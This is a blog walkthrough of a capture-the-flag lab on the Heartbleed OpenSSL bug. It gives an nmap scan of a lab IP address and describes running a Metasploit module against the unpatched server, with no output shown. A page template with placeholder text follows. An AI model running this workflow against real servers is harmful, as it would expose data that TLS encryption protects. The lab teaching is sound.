    The Heartbleed bug was uncovered by a group of security engineers from Codenomicon and Neel Mehta from Google Security. ... This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet.



    Note :- Almost website Effect :- 5 Lakh+


    Date discovered
    : April 1, 2014; 6 years ago
    Affected software: OpenSSL (1.0.1)
    Date patched: April 7, 2014; 6 years ago





    Protecting Data In Transit


    In this task, you need to obtain a flag using a very well known vulnerability. Make sure you pay attention to all the information and errors displayed. Pay particular attention to how web servers are configured.




    Once the machine is deployed, let's go ahead and scan it with nmap



    nmap -A -sC -sV -Pn 34.244.41.119








    Looks like the machine is hosting a website and it's not properly patched, let's go ahead and see if there's a metasploit module for this







    Looks like there is! Let's go ahead and select it for use and check what options we have to set






    Just need to set RHOST (Remote host) and verbose, let's go ahead and set those!






    Should be all set, lets run it!






    There we go! Update your servers, folks!


    Flags:









    Video Tutorial :-



        

     

    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)






  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.